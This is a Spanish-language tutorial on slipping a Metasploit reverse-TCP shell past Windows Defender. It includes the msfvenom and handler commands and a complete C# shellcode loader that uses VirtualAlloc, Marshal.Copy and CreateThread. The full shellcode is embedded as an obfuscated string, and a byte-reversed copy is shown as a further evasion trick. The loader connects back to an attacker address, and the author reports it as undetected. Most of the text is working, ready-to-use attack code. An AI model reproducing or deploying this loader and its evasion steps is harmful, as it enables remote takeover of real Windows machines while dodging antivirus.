En esta sección vamos a utilizar nuestra máquina Kali, una maquina w10 nuestra y otra máquina w10 objetivo.
Son técnicas genéricas para evadir cualquier herramienta antivirus.
Para demostrar esta evasión vamos a crear uno de los payloads más famosos y detectados; reverseTCP con msfVenom y obtener la conexión con metasploit.
Vamos a metasploit framework:
msfconsole
use exploit/multi/handler
show payloads
set payload windows/shell/reverse_tcp
msfvenom --platform windows -p windows/shell/reverse_tcp lhost=192.168.20.129 lport=5555 -f exe > shell.exe
Si esto lo pasamos directamente a la máquina objetivo windows, lo detectaría inmediatamente y bloquearía siquiera la ejecución del payload.
set lhost 192.168.20.129
set lport 5555
exploit
Escuchando el exploit vamos a crear el exploit con C# y compilar en la máquina windows del atacante.
Se van a introducir llamadas a la API win32 que permite interactuar con el sistema operativo y crear nuestro proceso e inyectar el payload en memoria.
En nuestra máquina windows atacante abrimos VScode y creamos un nuevo proyecto.
Eliminamos todo el código de ejemplo y vamos a importar unas librerías.
Creamos la siguiente instancia:
namespace Win32
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAtributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern IntPtr WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
}
Ahora vamos a crear una función para crear nuestro payload con ayuda de Venom:
msfvenom --platform windows -p windows/shell/reverse_tcp lhost=192.168.20.129 lport=5555 -f csharp
Nos devuelve un payload en csharp en shellcode, lo copiamos:
Lo pegamos dentro de la función Main y le vamos a agregar un verificador para nosotros:
Vamos a utilizar una función para reservarnos en memoria espacio para poder escribir el payload:
IntPtr funcAddrr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Donde los números son la dirección en memoria y los permisos que tendremos.
Indicamos que copie los datos del array “buf” el payload en memoria:
Ejecutamos el payload creando un nuevo thread, hilo o proceso:
IntPtr hThread = CreateThread(IntPtr.Zero, 0, funcAddrr, IntPtr.Zero, 0, IntPtr.Zero);
Y por último esperamos a poder ejecutar los comandos:
Compilamos
Con los archivos listos ahora vamos a pasarlos a nuestra máquina objetivo y ver si el defender lo detecta.
Probablemente siga siendo detectado debido a que el shellcode es generado por MsfVenom.
Esto se puede evitar modificando, ofuscando o creando nuestro propio payload en shellcode.
Para esto podemos por ejemplo cambiar la manera en la que se guarda en el binario, por ejemplo lo pasamos como string y luego en memoria lo volvemos a transformar a bytes.
De nuevo cogemos el payload, lo llevamos a emacs y lo vamos a procesar:
Pulsamos Alt+x
Replace-string 0x with +
Replace-string , with (lo dejamos en blanco)
y nos queda algo así:
Nos quedan los bytes del payload separados por +.
Quitamos los saltos de línea.
Nos queda un string de bytes separados por +
En nuestro shellreverse eliminamos el anterior payload y vamos a crear el nuevo:
Creamos la variable payload string y le indicamos que la divida por los signos de separación que le hayamos indicado:
Ahora le indicamos que se transforme en un array de bytes como antes.
Para esto cuando tengamos los bytes ya separados le indicamos que itere mediante un for con la longitud del payload sin + y que en el array final vaya guardando estos bytes en esa forma:
Es importante indicar que los bytes son agrupados de 2 y no de 1 que es por defecto si no indicamos ese 16.
En adición tras un fallo de posicionamiento en el array he añadido un parámetro para eliminar posibles campos vacíos.
Modificamos las referencias a la antigua variable:
Código completo:
using System;
using System.Collections.Generic;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
namespace Win32
{
class Program
{
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
static extern IntPtr CreateThread(IntPtr lpThreadAtributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
[DllImport("kernel32.dll")]
static extern IntPtr WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
static void Main (string[] args)
{
string payload = "fc+e8+8f+00+00+00+60+31+d2+64+8b+52+30+89+e5+8b+52+0c+8b+52+14+31+ff+0f+b7+4a+26+8b+72+28+31+c0+ac+3c+61+7c+02+2c+20+c1+cf+0d+01+c7+49+75+ef+52+8b+52+10+57+8b+42+3c+01+d0+8b+40+78+85+c0+74+4c+01+d0+8b+58+20+8b+48+18+01+d3+50+85+c9+74+3c+49+31+ff+8b+34+8b+01+d6+31+c0+ac+c1+cf+0d+01+c7+38+e0+75+f4+03+7d+f8+3b+7d+24+75+e0+58+8b+58+24+01+d3+66+8b+0c+4b+8b+58+1c+01+d3+8b+04+8b+01+d0+89+44+24+24+5b+5b+61+59+5a+51+ff+e0+58+5f+5a+8b+12+e9+80+ff+ff+ff+5d+68+33+32+00+00+68+77+73+32+5f+54+68+4c+77+26+07+89+e8+ff+d0+b8+90+01+00+00+29+c4+54+50+68+29+80+6b+00+ff+d5+6a+0a+68+c0+a8+14+81+68+02+00+15+b3+89+e6+50+50+50+50+40+50+40+50+68+ea+0f+df+e0+ff+d5+97+6a+10+56+57+68+99+a5+74+61+ff+d5+85+c0+74+0a+ff+4e+08+75+ec+e8+67+00+00+00+6a+00+6a+04+56+57+68+02+d9+c8+5f+ff+d5+83+f8+00+7e+36+8b+36+6a+40+68+00+10+00+00+56+6a+00+68+58+a4+53+e5+ff+d5+93+53+6a+00+56+53+57+68+02+d9+c8+5f+ff+d5+83+f8+00+7d+28+58+68+00+40+00+00+6a+00+50+68+0b+2f+0f+30+ff+d5+57+68+75+6e+4d+61+ff+d5+5e+5e+ff+0c+24+0f+85+70+ff+ff+ff+e9+9b+ff+ff+ff+01+c3+29+c6+75+c1+c3+bb+f0+b5+a2+56+6a+00+53+ff+d5";
string[] temp_payload = payload.Split('+');
// Filtrar elementos vacíos
temp_payload = temp_payload.Where(s => !string.IsNullOrEmpty(s)).ToArray();
byte[] final_payload = new byte[temp_payload.Length];
for (int i = 0; i < temp_payload.Length; i++)
{
final_payload[i] = Convert.ToByte(temp_payload[i], 16);
}
Console.WriteLine();
Console.ForegroundColor = ConsoleColor.Gray;
Console.WriteLine("Iniciando...");
IntPtr funcAddrr = VirtualAlloc(IntPtr.Zero, 0x1000, 0x3000, 0x40);
Marshal.Copy(final_payload, 0, funcAddrr, final_payload.Length);
IntPtr hThread = CreateThread(IntPtr.Zero, 0, funcAddrr, IntPtr.Zero, 0, IntPtr.Zero);
WaitForSingleObject(hThread, 0xffffffff);
}
}
}
Compilamos y comprobamos si funciona.
Perfecto, está funcionando pero vamos a comprobar que defender no lo bloquee.
Listo, indetectable por parte de defender.
Todo esto se puede ofuscar de muchas formas a parte de convertirse en string etc.
Por ejemplo podemos coger el array de bytes generado por msfvenom y simplemente dar la vuelta a los bytes.
Si este es el payload generado:
0xfc,0xe8,0x8f,0x00,0x00,0x00,0x60,0x31,0xd2,0x64,0x8b,0x52,0x30,0x89,0xe5,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x31,0xff,0x0f,0xb7,0x4a,0x26,0x8b,0x72,0x28,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0x49,0x75,0xef,0x52,0x8b,0x52,0x10,0x57,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4c,0x01,0xd0,0x8b,0x58,0x20,0x8b,0x48,0x18,0x01,0xd3,0x50,0x85,0xc9,0x74,0x3c,0x49,0x31,0xff,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe0,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xe9,0x80,0xff,0xff,0xff,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x68,0xc0,0xa8,0x14,0x81,0x68,0x02,0x00,0x15,0xb3,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x67,0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0x0f,0x85,0x70,0xff,0xff,0xff,0xe9,0x9b,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc1,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5
https://yupana-engineering.com/online-reverse-byte-array
0xd5, 0xff, 0x53, 0x00, 0x6a, 0x56, 0xa2, 0xb5, 0xf0, 0xbb, 0xc3, 0xc1, 0x75, 0xc6, 0x29, 0xc3, 0x01, 0xff, 0xff, 0xff, 0x9b, 0xe9, 0xff, 0xff, 0xff, 0x70, 0x85, 0x0f, 0x24, 0x0c, 0xff, 0x5e, 0x5e, 0xd5, 0xff, 0x61, 0x4d, 0x6e, 0x75, 0x68, 0x57, 0xd5, 0xff, 0x30, 0x0f, 0x2f, 0x0b, 0x68, 0x50, 0x00, 0x6a, 0x00, 0x00, 0x40, 0x00, 0x68, 0x58, 0x28, 0x7d, 0x00, 0xf8, 0x83, 0xd5, 0xff, 0x5f, 0xc8, 0xd9, 0x02, 0x68, 0x57, 0x53, 0x56, 0x00, 0x6a, 0x53, 0x93, 0xd5, 0xff, 0xe5, 0x53, 0xa4, 0x58, 0x68, 0x00, 0x6a, 0x56, 0x00, 0x00, 0x10, 0x00, 0x68, 0x40, 0x6a, 0x36, 0x8b, 0x36, 0x7e, 0x00, 0xf8, 0x83, 0xd5, 0xff, 0x5f, 0xc8, 0xd9, 0x02, 0x68, 0x57, 0x56, 0x04, 0x6a, 0x00, 0x6a, 0x00, 0x00, 0x00, 0x67, 0xe8, 0xec, 0x75, 0x08, 0x4e, 0xff, 0x0a, 0x74, 0xc0, 0x85, 0xd5, 0xff, 0x61, 0x74, 0xa5, 0x99, 0x68, 0x57, 0x56, 0x10, 0x6a, 0x97, 0xd5, 0xff, 0xe0, 0xdf, 0x0f, 0xea, 0x68, 0x50, 0x40, 0x50, 0x40, 0x50, 0x50, 0x50, 0x50, 0xe6, 0x89, 0xb3, 0x15, 0x00, 0x02, 0x68, 0x81, 0x14, 0xa8, 0xc0, 0x68, 0x0a, 0x6a, 0xd5, 0xff, 0x00, 0x6b, 0x80, 0x29, 0x68, 0x50, 0x54, 0xc4, 0x29, 0x00, 0x00, 0x01, 0x90, 0xb8, 0xd0, 0xff, 0xe8, 0x89, 0x07, 0x26, 0x77, 0x4c, 0x68, 0x54, 0x5f, 0x32, 0x73, 0x77, 0x68, 0x00, 0x00, 0x32, 0x33, 0x68, 0x5d, 0xff, 0xff, 0xff, 0x80, 0xe9, 0x12, 0x8b, 0x5a, 0x5f, 0x58, 0xe0, 0xff, 0x51, 0x5a, 0x59, 0x61, 0x5b, 0x5b, 0x24, 0x24, 0x44, 0x89, 0xd0, 0x01, 0x8b, 0x04, 0x8b, 0xd3, 0x01, 0x1c, 0x58, 0x8b, 0x4b, 0x0c, 0x8b, 0x66, 0xd3, 0x01, 0x24, 0x58, 0x8b, 0x58, 0xe0, 0x75, 0x24, 0x7d, 0x3b, 0xf8, 0x7d, 0x03, 0xf4, 0x75, 0xe0, 0x38, 0xc7, 0x01, 0x0d, 0xcf, 0xc1, 0xac, 0xc0, 0x31, 0xd6, 0x01, 0x8b, 0x34, 0x8b, 0xff, 0x31, 0x49, 0x3c, 0x74, 0xc9, 0x85, 0x50, 0xd3, 0x01, 0x18, 0x48, 0x8b, 0x20, 0x58, 0x8b, 0xd0, 0x01, 0x4c, 0x74, 0xc0, 0x85, 0x78, 0x40, 0x8b, 0xd0, 0x01, 0x3c, 0x42, 0x8b, 0x57, 0x10, 0x52, 0x8b, 0x52, 0xef, 0x75, 0x49, 0xc7, 0x01, 0x0d, 0xcf, 0xc1, 0x20, 0x2c, 0x02, 0x7c, 0x61, 0x3c, 0xac, 0xc0, 0x31, 0x28, 0x72, 0x8b, 0x26, 0x4a, 0xb7, 0x0f, 0xff, 0x31, 0x14, 0x52, 0x8b, 0x0c, 0x52, 0x8b, 0xe5, 0x89, 0x30, 0x52, 0x8b, 0x64, 0xd2, 0x31, 0x60, 0x00, 0x00, 0x00, 0x8f, 0xe8, 0xfc
Por ejemplo podemos convertir exe to shellcode con scripts para poder inyectarlos:
https://github.com/daVinci13/Exe2shell
Aquí podemos ver diferentes técnicas:
https://damonmohammadbagher.github.io/Posts/ebookBypassingAVsByCsharpProgramming/index.htm